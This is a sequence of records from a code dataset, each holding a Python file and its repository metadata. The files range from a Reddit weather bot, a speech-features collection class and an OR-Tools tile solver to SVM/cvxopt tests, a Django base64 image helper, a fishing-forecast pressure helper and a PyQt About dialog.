else:\n                       # store the value of \"main\"\n                       # key in variable y\n                       y = x[\"main\"]\n\n                       # store the value corresponding\n                       # to the \"temp\" key of y\n                       current_temperature = y[\"temp\"]\n\n                        # store the value corresponding\n                        # to the \"pressure\" key of y\n                       current_pressure = y[\"pressure\"]\n\n                        # store the value corresponding\n                        # to the \"humidity\" key of y\n                       current_humidiy = y[\"humidity\"]\n\n                        # store the value of \"weather\"\n                        # key in variable z\n                       z = x[\"weather\"]\n\n                        # store the value corresponding\n                        # to the \"description\" key at\n                        # the 0th index of z\n                       weather_description = z[0][\"description\"]\n\n                        # print following values\n                       output = (\" Temperature (in kelvin unit) = \" +\n                                        str(current_temperature) +\n                              \"\\n atmospheric pressure (in hPa unit) = \" +\n                                        str(current_pressure) +\n                              \"\\n humidity (in percentage) = \" +\n                                        str(current_humidiy) +\n                              \"\\n description = \" +\n                                        str(weather_description))\n                       \n\n                        \n\n                   \n                except:\n                    print(\"not found\")\n                    output = \"NOt Found\"\n                \n                # Get Username\n                username = comment.author\n                \n                print(output)\n                # send Message with answer\n                r.redditor(username.name).message(\"<===>\\n  \" + city_name,  output)\n            \n            comments_replied_to.append(comment.id)\n            with open(\"comments_replied_to.txt\",\"a\") as f:\n                f.write(comment.id + \"\\n\")  \n            \n            \n\n\nr = bot_login()\ncomments_replied_to = get_saved_comments()\nwhile(True):\n    run_bot(r)\n    print(\"Going to sleep For 5 sec\")\n    time.sleep(10)\n\n", "repo_name": "Akshansh02/Reddit-Bot", "sub_path": "weather.py", "file_name": "weather.py", "file_ext": "py", "file_size_in_byte": 4003, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "praw.Reddit", "line_number": 10, "usage_type": "call"}, {"api_name": "config.username", "line_number": 10, "usage_type": "attribute"}, {"api_name": "config.password", "line_number": 11, "usage_type": "attribute"}, {"api_name": "config.client_id", "line_number": 12, "usage_type": "attribute"}, {"api_name": "config.client_secret", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 48, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 118, "usage_type": "call"}]}
{"seq_id": "32358910634", "text": "\"\"\"Provides the `FeaturesCollection` class to manipulate speech features\n\n- A `FeaturesCollection` is basically a dictionnary of\n  :class:`~shennong.features.Features` indexed by names.\n\n- A collection can be saved to and loaded from a file with the :func:`save` and\n  :func:`load` methods.\n\nSupported file formats\n----------------------\n\nThe following table details the supported file formats and compares the\nobtained file size, writing and reading times on MFCC features computed on the\n`Buckeye Corpus <https://buckeyecorpus.osu.edu>`_ (English, 40 speakers, about\n38 hours of speech and 254 files):\n\n===========  =========  =========  ============  ============\nFile format  Extension  File size  Writing time  Reading time\n===========  =========  =========  ============  ============\npickle       .pkl       883.7 MB   0:00:07       0:00:05\nh5features   .h5f       873.0 MB   0:00:21       0:00:07\nnumpy        .npz       869.1 MB   0:02:30       0:00:22\nmatlab       .mat       721.1 MB   0:00:59       0:00:11\nkaldi        .ark       1.3 GB     0:00:06       0:00:07\nCSV          folder     4.8 GB     0:03:02       0:03:11\n===========  =========  =========  ============  ============\n\n- **pickle**: standard Python format, fast and efficient for little to medium\n  datasets.\n\n- **h5features**: based on HDF5 and specialized for very big datasets. Supports\n  partial read/write of datasets bigger than RAM. The documention is available\n  at https://docs.cognitive-ml.fr/h5features.\n\n- **numpy**: standard numpy format.\n\n- **matlab** and **kaldi**: for compatibility.\n\n- **csv**: each features in the collection is wrote as plain text in a\n  dedicated file, with an optional JSON file storing features properties.\n\nExamples\n--------\n\n>>> import os\n>>> import numpy as np\n>>> from shennong import Features, FeaturesCollection\n\nCreate a collection of two random features\n\n>>> fc = FeaturesCollection()\n>>> fc['feat1'] = Features(np.random.random((5, 2)), np.linspace(0, 4, num=5))\n>>> fc['feat2'] = Features(np.random.random((3, 2)), np.linspace(0, 2, num=3))\n>>> fc.keys()\ndict_keys(['feat1', 'feat2'])\n\nSave the collection to a npz file\n\n>>> fc.save('features.npz')\n\nLoad it back to a new collection\n\n>>> fc2 = FeaturesCollection.load('features.npz')\n>>> fc2.keys()\ndict_keys(['feat1', 'feat2'])\n>>> fc == fc2\nTrue\n\n>>> os.remove('features.npz')\n\n\"\"\"\n\nimport collections\nimport numpy as np\n\nfrom shennong import Features\nfrom shennong.logger import get_logger\nfrom shennong.serializers import get_serializer\n\n\nclass FeaturesCollection(dict):\n    \"\"\"Handles a collection of :class:`~shennong.Features` as a dictionary\"\"\"\n    @classmethod\n    def load(cls, filename, serializer=None,\n             log=get_logger('serializer', 'warning')):\n        \"\"\"Loads a FeaturesCollection from a `filename`\n\n        Parameters\n        ----------\n        filename : str\n            The file to load\n        serializer : str, optional\n            The file serializer to use for loading, if not specified\n            guess the serializer from the `filename` extension\n        log : logging.Logger, optional\n            Where to send log messages. Default to a logger named 'serializer'\n            with a 'warning' level.\n\n        Returns\n        -------\n        features : :class:`~shennong.features.FeaturesCollection`\n            The features loaded from the `filename`\n\n        Raises\n        ------\n        IOError\n            If the `filename` cannot be read\n        ValueError\n            If the `serializer` or the file extension is not supported,\n            if the features loading fails.\n\n        \"\"\"\n        return get_serializer(cls, filename, log, serializer).load()\n\n    def save(self, filename, serializer=None, with_properties=True,\n             log=get_logger('serializer', 'warning'), **kwargs):\n        \"\"\"Saves a FeaturesCollection to a `filename`\n\n        Parameters\n        ----------\n        filename : str\n            The file to write\n        serializer : str, optional\n            The file serializer to use for loading, if not specified\n            guess the serializer from the `filename` extension\n        with_properties : bool, optional\n            When False do not save the features properties, default to True.\n        log : logging.Logger, optional\n            Where to send log messages. Default to a logger named 'serializer'\n            with a 'warning' level.\n        compress : bool_or_str_or_int, optional\n            Only valid for numpy (.npz), matlab (.mat) and h5features (.h5f)\n            serializers. When True compress the file. Default to True.\n        scp : bool, optional\n            Only valid for kaldi (.ark) serializer. When True writes a .scp\n            file along with the .ark file. Default to False.\n\n        Raises\n        ------\n        IOError\n            If the file `filename` already exists\n        ValueError\n            If the `serializer` or the file extension is not supported,\n            if the features saving fails.\n\n        \"\"\"\n        get_serializer(self.__class__, filename, log, serializer).save(\n            self, with_properties=with_properties, **kwargs)\n\n    def is_valid(self):\n        \"\"\"Returns True if all the features in the collection are valid\"\"\"\n        for features in self.values():\n            if not features.is_valid():\n                return False\n        return True\n\n    def is_close(self, other, rtol=1e-5, atol=1e-8):\n        \"\"\"Returns True `self` is approximately equal to `other`\n\n        Parameters\n        ----------\n        other : FeaturesCollection\n            The collection of features to compare to the current one\n        rtol : float, optional\n            Relative tolerance\n        atol : float, optional\n            Absolute tolerance\n\n        Returns\n        -------\n        equal : bool\n            True if this collection is almost equal to the `other`\n\n        See Also\n        --------\n        Features.is_close, numpy.allclose\n\n        \"\"\"\n        if not self.keys() == other.keys():\n            return False\n\n        for k in self.keys():\n            if not self[k].is_close(other[k], rtol=rtol, atol=atol):\n                return False\n\n        return True\n\n    def partition(self, index):\n        \"\"\"Returns a partition of the collection as a dict of FeaturesCollection\n\n        This method is usefull to create sub-collections from an\n        existing one, for instance to make one sub-collection per\n        speaker, or per gender, etc...\n\n        Parameters\n        ----------\n        index : dict\n            A mapping with, for each item in this collection, the\n            sub-collection they belong to in the partition. We must\n            have ``index.keys() == self.keys()``.\n\n        Returns\n        -------\n        features : dict of FeaturesCollection\n            A dictionnary of FeaturesCollection instances, one per\n            speaker defined in `index`.\n\n        Raises\n        ------\n        ValueError\n            If one utterance in the collection is not mapped in\n            `index`.\n\n        \"\"\"\n        undefined_utts = set(self.keys()).difference(index.keys())\n        if undefined_utts:\n            raise ValueError(\n                'following items are not defined in the partition index: {}'\n                .format(', '.join(sorted(undefined_utts))))\n\n        reverse_index = collections.defaultdict(list)\n        for key, value in index.items():\n            reverse_index[value].append(key)\n\n        return {k: FeaturesCollection({item: self[item] for item in items})\n                for k, items in reverse_index.items()}\n\n    def trim(self, vad):\n        \"\"\"Returns a new instance of FeaturesCollection where each features\n        has been trimmed with the corresponding VAD.\n\n        Parameters\n        ----------\n        vad : dict of boolean ndarrays\n            A dictionnary of arrays indicating which frame to keep.\n\n        Returns\n        -------\n        features: FeaturesCollection\n            A new FeaturesCollection trimmed with the input VAD\n\n        Raises\n        ------\n        ValueError\n            If the utterances are not the same. If the VAD arrays are\n            not boolean arrays.\n        \"\"\"\n        if vad.keys() != self.keys():\n            raise ValueError('Vad keys are different from this keys.')\n\n        for key in vad.keys():\n            if vad[key].dtype != np.dtype('bool'):\n                raise ValueError('Vad arrays must be arrays of bool.')\n            if vad[key].shape[0] != self[key].nframes:\n                raise ValueError(\n                    'Vad arrays length must be equal to the number of frames.')\n\n        return FeaturesCollection({\n            k: Features(\n                self[k].data[vad[k]],\n                self[k].times[vad[k]],\n                properties=self[k].properties) for k in self.keys()})\n", "repo_name": "bootphon/shennong", "sub_path": "shennong/features_collection.py", "file_name": "features_collection.py", "file_ext": "py", "file_size_in_byte": 8811, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 149, "dataset": "github-code", "pt": "81", "api": [{"api_name": "shennong.logger.get_logger", "line_number": 85, "usage_type": "call"}, {"api_name": "shennong.serializers.get_serializer", "line_number": 113, "usage_type": "call"}, {"api_name": "shennong.logger.get_logger", "line_number": 116, "usage_type": "call"}, {"api_name": "shennong.serializers.get_serializer", "line_number": 147, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.dtype", "line_number": 252, "usage_type": "call"}, {"api_name": "shennong.Features", "line_number": 259, "usage_type": "call"}]}
{"seq_id": "4611907734", "text": "from random import choice, randint\nfrom ortools.sat.python import cp_model\nfrom itertools import product\n\nAdjList = dict[int, list[int]]\n\ndef solve(\n    width: int, \n    height: int, \n    left_adj: AdjList, \n    right_adj: AdjList, \n    up_adj: AdjList, \n    down_adj: AdjList,\n    weights: dict[int, int]\n) -> list[list[int]]:\n    tiles = left_adj.keys()\n\n    model = cp_model.CpModel()\n    has_tile = {}\n    for row, col in product(range(height), range(width)):\n        for tile in tiles:\n            has_tile[row, col, tile] = model.NewBoolVar(f'has_tile{row, col, tile}')\n\n    # One tile per position\n    for row, col in product(range(height), range(width)):\n        model.Add(\n            sum(has_tile[row, col, tile] for tile in tiles) == 1\n        )\n\n    # Use all tiles\n    for tile in tiles:\n        model.Add(\n            sum(\n                has_tile[row, col, tile] \n                for row, col in product(range(height), range(width))\n            )   >= 1\n        )\n    \n    # Adjacency constraints\n    for row, col in product(range(height), range(width)):\n        for tile in tiles:\n            # left\n            if col > 0:\n                left_adj_satisfied = model.NewBoolVar('')\n                model.AddImplication(has_tile[row, col, tile], left_adj_satisfied)\n                \n                model.AddBoolOr([\n                    has_tile[row, col-1, adj_tile] for adj_tile in left_adj[tile]\n                ]).OnlyEnforceIf(left_adj_satisfied)\n            \n            # right\n            if col < width-1:\n                right_adj_satisfied = model.NewBoolVar('')\n                model.AddImplication(has_tile[row, col, tile], right_adj_satisfied)\n                \n                model.AddBoolOr([\n                    has_tile[row, col+1, adj_tile] for adj_tile in right_adj[tile]\n                ]).OnlyEnforceIf(right_adj_satisfied)\n            \n            # up\n            if row > 0:\n                up_adj_satisfied = model.NewBoolVar('')\n                model.AddImplication(has_tile[row, col, tile], up_adj_satisfied)\n                \n                model.AddBoolOr([\n                    has_tile[row-1, col, adj_tile] for adj_tile in up_adj[tile]\n                ]).OnlyEnforceIf(up_adj_satisfied)\n            \n            # down\n            if row < height-1:\n                down_adj_satisfied = model.NewBoolVar('')\n                model.AddImplication(has_tile[row, col, tile], down_adj_satisfied)\n                \n                model.AddBoolOr([\n                    has_tile[row+1, col, adj_tile] for adj_tile in down_adj[tile]\n                ]).OnlyEnforceIf(down_adj_satisfied)\n\n    # random hinting for artistic value\n    for row, col in product(range(height), range(width)):\n        if randint(0, 10) == 0:\n            model.AddHint(has_tile[row, col, choice(list(tiles))], 1)\n\n    score = 0\n    for tile in list(tiles)[1:]:\n        times_used = sum(\n            has_tile[row, col, tile]\n            for row, col in product(range(height), range(width))\n        )\n        diff = model.NewIntVar(-width * height, width * height, '')\n        abs_diff = model.NewIntVar(0, width * height, '')\n        model.Add(diff == times_used - weights[tile])\n        model.AddAbsEquality(abs_diff, diff)\n        score += abs_diff\n        \n    model.Minimize(score)\n\n    solver = cp_model.CpSolver()\n    solver.parameters.max_time_in_seconds = 60\n    code = solver.Solve(model)\n    if code in [cp_model.FEASIBLE, cp_model.OPTIMAL]:\n        print('Score:', solver.Value(score))\n        output_grid = [[None] * width for _ in range(height)]\n        for row, col in product(range(height), range(width)):\n            for tile in tiles:\n                if solver.Value(has_tile[row, col, tile]):\n                    output_grid[row][col] = tile\n    \n        return output_grid\n\n    elif code == cp_model.UNKNOWN:\n        raise ValueError('Timed out before a solution was found.')\n\n    raise ValueError('No solution!')", "repo_name": "jediahkatz/constraint_pcg", "sub_path": "solver.py", "file_name": "solver.py", "file_ext": "py", "file_size_in_byte": 3943, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "ortools.sat.python.cp_model.CpModel", "line_number": 18, "usage_type": "call"}, {"api_name": "ortools.sat.python.cp_model", "line_number": 18, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 20, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 25, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 35, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 40, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 79, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 80, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 81, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 87, "usage_type": "call"}, {"api_name": "ortools.sat.python.cp_model.CpSolver", "line_number": 97, "usage_type": "call"}, {"api_name": "ortools.sat.python.cp_model", "line_number": 97, "usage_type": "name"}, {"api_name": "ortools.sat.python.cp_model.FEASIBLE", "line_number": 100, "usage_type": "attribute"}, {"api_name": "ortools.sat.python.cp_model", "line_number": 100, "usage_type": "name"}, {"api_name": "ortools.sat.python.cp_model.OPTIMAL", "line_number": 100, "usage_type": "attribute"}, {"api_name": "itertools.product", "line_number": 103, "usage_type": "call"}, {"api_name": "ortools.sat.python.cp_model.UNKNOWN", "line_number": 110, "usage_type": "attribute"}, {"api_name": "ortools.sat.python.cp_model", "line_number": 110, "usage_type": "name"}]}
{"seq_id": "11443810809", "text": "#method 1\ndef char_frequency(str1):\n    dict = {}\n    for n in str1:\n        keys = dict.keys()\n        print(n, \" keys: \" , keys)\n        if n in keys:\n            dict[n] += 1\n        else:\n            dict[n] = 1\n    return dict\n\n\n#method two with collections\ns=\"abcv\"\nfrom collections import Counter\ncounts = Counter(s) #dictionary\n# for i in s:\n#   print(i,counts[i])\nprint(counts)\n\nprint(char_frequency(\"abac\"))\n", "repo_name": "bosenli/leetcode_daily_practice", "sub_path": "count_occurance_in_string.py", "file_name": "count_occurance_in_string.py", "file_ext": "py", "file_size_in_byte": 418, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.Counter", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "19187704731", "text": "\"\"\"\nTest utils functions\n\"\"\"\nimport numpy as np\nfrom utils import *\nimport cvxopt\n\nX = np.random.rand(10,3)\n\nprint(X)\nXnorm = normalize(X, -1,2)\nprint(\"normalized X:\", Xnorm)\nXstandard = standardize(X)\nprint(\"standardized X: \", Xstandard)\n\nXint = np.random.randint(10, size=(10, 3))\nprint(Xint)\nlinear_kernel = linear_kernel()\nprint(\"linear kernel:\", linear_kernel(Xint[0],Xint[1]))\n\npoly_kernel = polynomial_kernel(power=2, coef=1.)\nprint(\"2nd order polynomia kernel:\", poly_kernel(Xint[0],Xint[1]))\n\nrbf_kernel = rbf_kernel(gamma=0.1)\nprint(\"rbf kernel:\", rbf_kernel(Xint[0],Xint[1]))\n\nXint2 = np.random.randint(5, size=(2, 2))\nprint(Xint2)\nprint(\"covariance matrix: \", calculate_covariance_matrix(Xint2))\n\n\"\"\"\nCVXOPT\nsolving a linear program:\nminimize c*X subject to A*x <= b\nHere: minimize y = 2*x1 + x2\nsubject to:\n-x1 + x2 <= 1\n-x1 - x2 <= -2\n-x2 <= 0\nx1 - 2*x2 <= 4\n\"\"\"\nfrom cvxopt import matrix, solvers\n# made up by 2 columns of coefficient with x1, x2....\nA = matrix([[-1.0, -1.0, 0.0, 1.0], [1.0, -1.0, -1.0, -2.0]])\nprint(\"A: \", A)\n\nb = matrix([ 1.0, -2.0, 0.0, 4.0 ])\nprint(\"b: \", b)\n\nc = matrix([2.0, 1.0])\nlin_sol = solvers.lp(c, A, b)\nprint(\"optimal solution of x: \", lin_sol['x'])\n# print(lin_sol)\nprint(\"optimal solution of y: \", lin_sol['primal objective'])\n\n\n\"\"\"\nCVXOPT\nsolving a nonlinear/quadratic program:\nminimize 1/2* xT * P * x + qT * x subject to G*x <= h and A*x = b\nconvex if and only if P is PSD\n P and q are required, the others are optional\nHere: minimize y = 1/2*x1^2 + 3*x1 + 4*x2\nsubject to:\n-x1 <= 0\n-x2 <= 0\n-x1-3*x2 <=-15\n2*x1+5*y2 <= 100\n3*x1 + 4*x2 <= 80\nx1+x2 = 5\n\n\"\"\"\n# Define QP parameters (directly)\nQ = matrix([[1.0, 0.0], [0.0, 0.0]])\np = matrix([3.0, 4.0])\n\nG = matrix([[-1.0, 0.0, -1.0, 2.0, 3.0], [0.0, -1.0, -3.0, 5.0, 4.0]])\nh = matrix([0.0, 0.0, -15.0, 100.0, 80.0])\nA = matrix([1.0, 1.0], (1, 2))\nb = matrix(5.0)\n\n# Define QP parameters (with NumPy)\n# P = matrix(np.diag([1,0]), tc='d')\n# q = matrix(np.array([3.0, 4.0]), tc='d')\n# G = matrix(np.array([[-1,0],[0,-1],[-1,-3],[2,5],[3,4]]), tc='d')\n# h = matrix(np.array([0,0,-15,100,80]), tc='d')\n\nquad_sol = solvers.qp(Q, p, G, h, A, b)\n\n\"\"\"\nminimize 1/2* xT * Q * x + pT * x subject to G*x <= h and A*x = b\nHere: minimize y =2*x1^2 + x2^2 + x1*x2 + x1 + x2 \nsubject to:\n-x1 <= 0\n-x2 <= 0\nx1+x2 = 1\n\"\"\"\nQ = 2*matrix([[2, .5], [.5, 1]])\np = matrix([1.0, 1.0])\nG = matrix([[-1.0, 0.0], [0.0, -1.0]])\nh = matrix([0.0, 0.0])\nA = matrix([1.0, 1.0], (1, 2))\nb = matrix(1.0)\nquad_sol2 = solvers.qp(Q, p, G, h, A, b)\n\nprint(\"optimal solution of x: \", quad_sol2['x'])\n# print(quad_sol2)\nprint(\"optimal solution of y: \", quad_sol2['primal objective'])", "repo_name": "trademark152/Machine_Learning_For_Data_Science_INF552_USC", "sub_path": "hw6_svm/utils_test.py", "file_name": "utils_test.py", "file_ext": "py", "file_size_in_byte": 2645, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.random.rand", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 27, "usage_type": "attribute"}, {"api_name": "cvxopt.matrix", "line_number": 44, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 47, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 50, "usage_type": "call"}, {"api_name": "cvxopt.solvers.lp", "line_number": 51, "usage_type": "call"}, {"api_name": "cvxopt.solvers", "line_number": 51, "usage_type": "name"}, {"api_name": "cvxopt.matrix", "line_number": 74, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 75, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 77, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 78, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 79, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 80, "usage_type": "call"}, {"api_name": "cvxopt.solvers.qp", "line_number": 88, "usage_type": "call"}, {"api_name": "cvxopt.solvers", "line_number": 88, "usage_type": "name"}, {"api_name": "cvxopt.matrix", "line_number": 98, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 99, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 100, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 101, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 102, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 103, "usage_type": "call"}, {"api_name": "cvxopt.solvers.qp", "line_number": 104, "usage_type": "call"}, {"api_name": "cvxopt.solvers", "line_number": 104, "usage_type": "name"}]}
{"seq_id": "31346295023", "text": "import datetime\ncurrent_date = datetime.datetime.now()\nyear = current_date.year\nprint(year)\nyear_= str(year)\n\nsum_ = 0\nfor i in year_:\n\tprint(i)\n\tsum_ += int(i)\n\nprint(sum_)\n\n\n\ntext = \"a1a1\"\n\ncount_num = 0\ncount_let = 0\nfor num_ in text:\n\tif num_.isdigit():\n\t    count_num += 1\n\telif num_.isalpha():\n\t    count_let +=1   \nprint(count_num)\t\nprint(count_let)\n\ncount_num1 = 0\n\nfor i in text:\n\tif i.isdigit():\n\t\tcount_num1 +=1\n\telse:\n\t    print(\"couldnt fine\")\n\t    #continue\n\t    break\n\tprint(\"Ive founde one more number\")    \t\n\n\nsum_= 0\n\nfor nun_2 in range(1,21):\n\tif nun_2 == 3 and nun_2 == 13:\n\t\tcontinue\n\t\n\tsum_ += nun_2\t\n\n\n\n\n\n\n", "repo_name": "yolyanlala/python_classes", "sub_path": "11.py", "file_name": "11.py", "file_ext": "py", "file_size_in_byte": 629, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime.now", "line_number": 2, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 2, "usage_type": "attribute"}]}
{"seq_id": "28986818184", "text": "from django.core.files.uploadedfile import InMemoryUploadedFile\nimport base64,re,sys, datetime\nfrom PIL import Image\nfrom io import BytesIO\nfrom rest_framework import serializers\n\ndef base64ToImage(base64_image_data):\n    try:\n        buffer_plot = BytesIO()\n        base64_data = re.sub('^data:image/.+;base64,', '', base64_image_data)\n        binary_data = base64.b64decode(base64_data)\n        img_data = BytesIO(binary_data)\n        img = Image.open(img_data)\n        try:\n            img.save(buffer_plot, format='PNG', quality=100)\n        except:\n            img.save(buffer_plot, format='JPEG', quality=100)\n        buffer_plot.seek(0)\n        return InMemoryUploadedFile(buffer_plot, 'ImageField',f'''{datetime.datetime.now().strftime(\"%d%m%y%H%M%S%f\")}.png''','image/png',sys.getsizeof(buffer_plot), None)\n    except Exception as e:\n        raise serializers.ValidationError({\"image\":f\"{e}\"})\n", "repo_name": "samapikanayak/ysyw-dambaruu", "sub_path": "courses/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 903, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "io.BytesIO", "line_number": 9, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 10, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 11, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 12, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 13, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 13, "usage_type": "name"}, {"api_name": "django.core.files.uploadedfile.InMemoryUploadedFile", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sys.getsizeof", "line_number": 19, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 21, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 21, "usage_type": "name"}]}
{"seq_id": "40805489037", "text": "'''\nfish block\n'''\n\npos_neg_fish = '''На <strong>{}</strong> положительно влияет {} атмосферного давления, а его {} может негативно повлиять на активность рыбы. '''\n\npos_fish = '''{} атмосферного давления благоприятно влияет на клев <strong>{}</strong>. '''\n\nneg_fish = '''{} атмосферного давления может негативно повлиять на клев <strong>{}</strong>. '''\n\nnone_fish = '''На данный момент недостаточно изучено, как именно влияет изменения атмосферного давления на клев <strong>{}</strong>. '''\n\n'''\ndesc block\n'''\n\nhard_low_desc = '''<strong>{}</strong> ожидается резкий <span class=\"blue strong\">спад</span> атмосферного давления. '''\n\nhard_low_desc_no = '''<strong>{}</strong> резких <span class=\"blue strong\">спадов</span> атмосферного давления не ожидается. '''\n\nhard_up_desc = '''<strong>{}</strong> прогнозируется резкий <span class=\"red strong\">рост</span> атмосферного давления. '''\n\nhard_up_desc_no = '''За период <strong>{}</strong> резкого <span class=\"blue strong\">роста</span> атмосферного давления не прогнозируется. '''\n\nminmax_desc = '''Минимальное значение атмосферного давления в течение - <span class=\"blue strong\">{}</span>, максимальное - <span class=\"red strong\">{}</span>. '''\n\nten_minmax_desc = '''<strong>{}</strong> прогнозируется минимальное значение атмосферного давления - <span class=\"blue strong\">{}</span>, а <strong>{}</strong> ожидается максимальная - <span class=\"red strong\">{}</span>. '''\n\n\n'''\nutils\n'''\n\nfrom ..helper.date import get_dates_by_intervals\n\ndef hard_dates(pressures, dates, tag):\n    subs = []\n    for i in range(1, len(pressures)):\n        subs.append(pressures[i] - pressures[i - 1])\n    if tag == 'low':\n        mask_subs = [1 if sub <= -3 else 0 for sub in subs]\n    elif tag == 'up':\n        mask_subs = [1 if sub >= 3 else 0 for sub in subs]\n    if sum(mask_subs) == 0:\n        return None\n    intervals = []\n    current = [-1, -1]\n    max_sub = 0\n    for i in range(len(mask_subs)):\n        if mask_subs[i]:\n            max_sub = max(max_sub, abs(subs[i]))\n            if current[0] == -1:\n                current[0] = i\n            current[1] = i + 1\n        else:\n            if not current[0] == -1:\n                intervals.append((subs[i], (current[0], current[1])))\n            current[0] = -1\n    if not current[0] == -1:\n        intervals.append((max_sub, (current[0], current[1])))\n    if len(intervals) == 0:\n        return None\n    top_interval = [max(intervals, key=lambda x: x[0])[1]]\n    return get_dates_by_intervals(dates, top_interval)", "repo_name": "tam2511/Fishow-Backend", "sub_path": "fishow_django/prediction/utils/pressure/pressure_helper.py", "file_name": "pressure_helper.py", "file_ext": "py", "file_size_in_byte": 3085, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "helper.date.get_dates_by_intervals", "line_number": 64, "usage_type": "call"}]}
{"seq_id": "9480248133", "text": "'''\nAbout dialog initialization\n'''\nfrom datetime import datetime\nimport os\n\nfrom .constants import NAME, VERSION\n\nfrom PyQt5.QtGui import QFont, QPixmap\nfrom PyQt5.QtWidgets import (QDialog,\n                             QLabel,\n                             QVBoxLayout,\n                             QHBoxLayout)\n\n\nclass AboutMenu(QDialog):\n    def __init__(self):\n        '''\n        About dialog initialization\n        '''\n        super().__init__()\n        self.initUI()\n\n    def initUI(self):\n        self.setFixedSize(600, 200)\n        name_font = QFont()\n        name_font.setPointSize(16)\n        name_font.setBold(True)\n\n        version_font = QFont()\n        version_font.setPointSize(11)\n\n        copyright_font = QFont()\n        copyright_font.setPointSize(8)\n        copyright_font.setBold(True)\n\n        daze_logo = QLabel(self)\n        daze_logo_path = QPixmap(os.path.join(os.path.dirname(__file__),\n                                              'icons',\n                                              'daze_logo.png'))\n        daze_logo.setPixmap(daze_logo_path)\n        name_message = QLabel(self)\n        name_message.setFont(name_font)\n        version_message = QLabel(self)\n        version_message.setFont(version_font)\n        info_message = QLabel(self)\n        copyright_message = QLabel(self)\n        copyright_message.setFont(copyright_font)\n\n        vbox = QVBoxLayout()\n        vbox.addWidget(name_message)\n        vbox.addWidget(version_message)\n        vbox.addWidget(info_message)\n        vbox.addWidget(copyright_message)\n\n        hbox = QHBoxLayout()\n        hbox.addLayout(vbox)\n        hbox.addWidget(daze_logo)\n        self.setLayout(hbox)\n\n        name_msg = '{}'.format(NAME)\n\n        version_msg = 'Version {}'.format(VERSION)\n\n        info_msg = '''\n            Daze is not responsible for illegal downloads of any content\n            that violate the terms and services agreement of any kind.\n            '''\n\n        copyright_msg = ('Copyright (c) {} Shahbaz Khan. All Rights '\n                         'Reserved'.format(datetime.today().year))\n\n        name_message.setText(name_msg)\n        version_message.setText(version_msg)\n        info_message.setText(info_msg)\n        copyright_message.setText(copyright_msg)\n\n", "repo_name": "shahbazk8194/daze", "sub_path": "daze/about_menu.py", "file_name": "about_menu.py", "file_ext": "py", "file_size_in_byte": 2260, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 16, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 26, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 30, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 33, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 37, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, 